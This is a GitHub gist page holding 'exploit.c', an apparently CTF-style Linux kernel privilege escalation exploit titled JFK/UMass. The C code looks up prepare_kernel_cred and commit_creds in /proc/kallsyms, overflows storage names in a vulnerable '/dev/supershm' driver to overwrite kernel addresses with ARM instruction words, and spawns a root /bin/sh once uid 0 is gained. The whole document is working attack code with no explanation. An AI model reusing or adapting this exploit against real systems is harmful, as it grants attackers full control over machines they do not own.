Instantly share code, notes, and snippets.

@potetisensei /exploit.c Secret
Last active Aug 29, 2015

Embed
What would you like to do?
JFK/UMass
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_prepare_kernel_cred prepare_kernel_cred;
_commit_creds commit_creds;
void (*printk)(char *format, ...);
int (*run_init_process)(const char *);
int privesc()
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
/* look up an exported Kernel symbol */
void *findksym(const char *sym)
{
void *p, *ret;
FILE *fp;
char s[1024];
size_t sym_len = strlen(sym);
fp = fopen("/proc/kallsyms", "r");
if(!fp)
err(-1, "cannot open kallsyms: fopen");
ret = NULL;
while(fscanf(fp, "%p %*c %1024s\n", &p, s) == 2) {
if(!!strncmp(sym, s, sym_len))
continue;
ret = p;
break;
}
fclose(fp);
return ret;
}
void prepare_privesc_code(void)
{
prepare_kernel_cred = findksym("prepare_kernel_cred");
commit_creds = findksym("commit_creds");
printk = findksym("printk");
run_init_process = findksym("run_init_process");
assert(prepare_kernel_cred && commit_creds && printk && run_init_process);
printf("prepare_kernel_cred: %p, commit_creds: %p, printk: %p run_init_process: %p\n", prepare_kernel_cred, commit_creds, printk, run_init_process);
}
void create_storage(char *name) {
char *query = calloc(1, strlen(name) + 2);
int fd = open("/dev/supershm", O_WRONLY);
assert(query);
assert(fd >= 0);
query[0] = 'c';
memcpy(query+1, name, strlen(name));
puts(query);
write(fd, query, strlen(query));
close(fd);
free(query);
}
void delete_storage(char *name) {
char *query = calloc(1, strlen(name) + 2);
int fd = open("/dev/supershm", O_WRONLY);
assert(query);
assert(fd >= 0);
query[0] = 'd';
memcpy(query+1, name, strlen(name));
puts(query);
write(fd, query, strlen(query));
close(fd);
free(query);
}
void update_storage(char *name, void *content, size_t size) {
char *query = calloc(1, strlen(name) + 2);
int fd = open("/dev/supershm", O_WRONLY);
assert(query);
assert(fd >= 0);
query[0] = 'u';
memcpy(query+1, name, strlen(name));
puts(query);
write(fd, query, strlen(query));
puts(content);
write(fd, content, size);
close(fd);
free(query);
}
int read_storage(char *name) {
char *query = calloc(1, strlen(name) + 2);
int fd = open("/dev/supershm", O_WRONLY);
char buf[1024] = "";
assert(query);
assert(fd >= 0);
query[0] = 's';
memcpy(query+1, name, strlen(name));
puts(query);
write(fd, query, strlen(query));
free(query);
close(fd);
fd = open("/dev/supershm", O_RDONLY);
assert(fd >= 0);
read(fd, buf, 1024);
puts(buf);
close(fd);
return *((int*)buf);
}
int main() {
int i;
unsigned int target;
char payload1[37] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
char *privescp = &privesc;
char payload2[5] = "";
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
unsigned int vals[] = {0xe3a0408d, 0xe1a04404, 0xe284400c, 0xe12fff14, 0xe1a0f00e};
prepare_privesc_code();
target = 0xbf01042c;
strncat(payload1, (char*)&target, 4);
create_storage(payload1);
delete_storage(payload1);
target = 0xbf00042c;
strncpy(payload1, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", 33);
strncat(payload1, (char*)&target, 4);
create_storage(payload1);
create_storage("vuln");
printf("Write: %x\n", vals[0]);
update_storage("vuln", vals, 4 * 5);
delete_storage(payload1);
delete_storage("vuln");
read_storage("vuln"); // pwn
if (getuid()) {
puts("failed.");
exit(0);
} else {
execve("/bin/sh", argv, envp);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment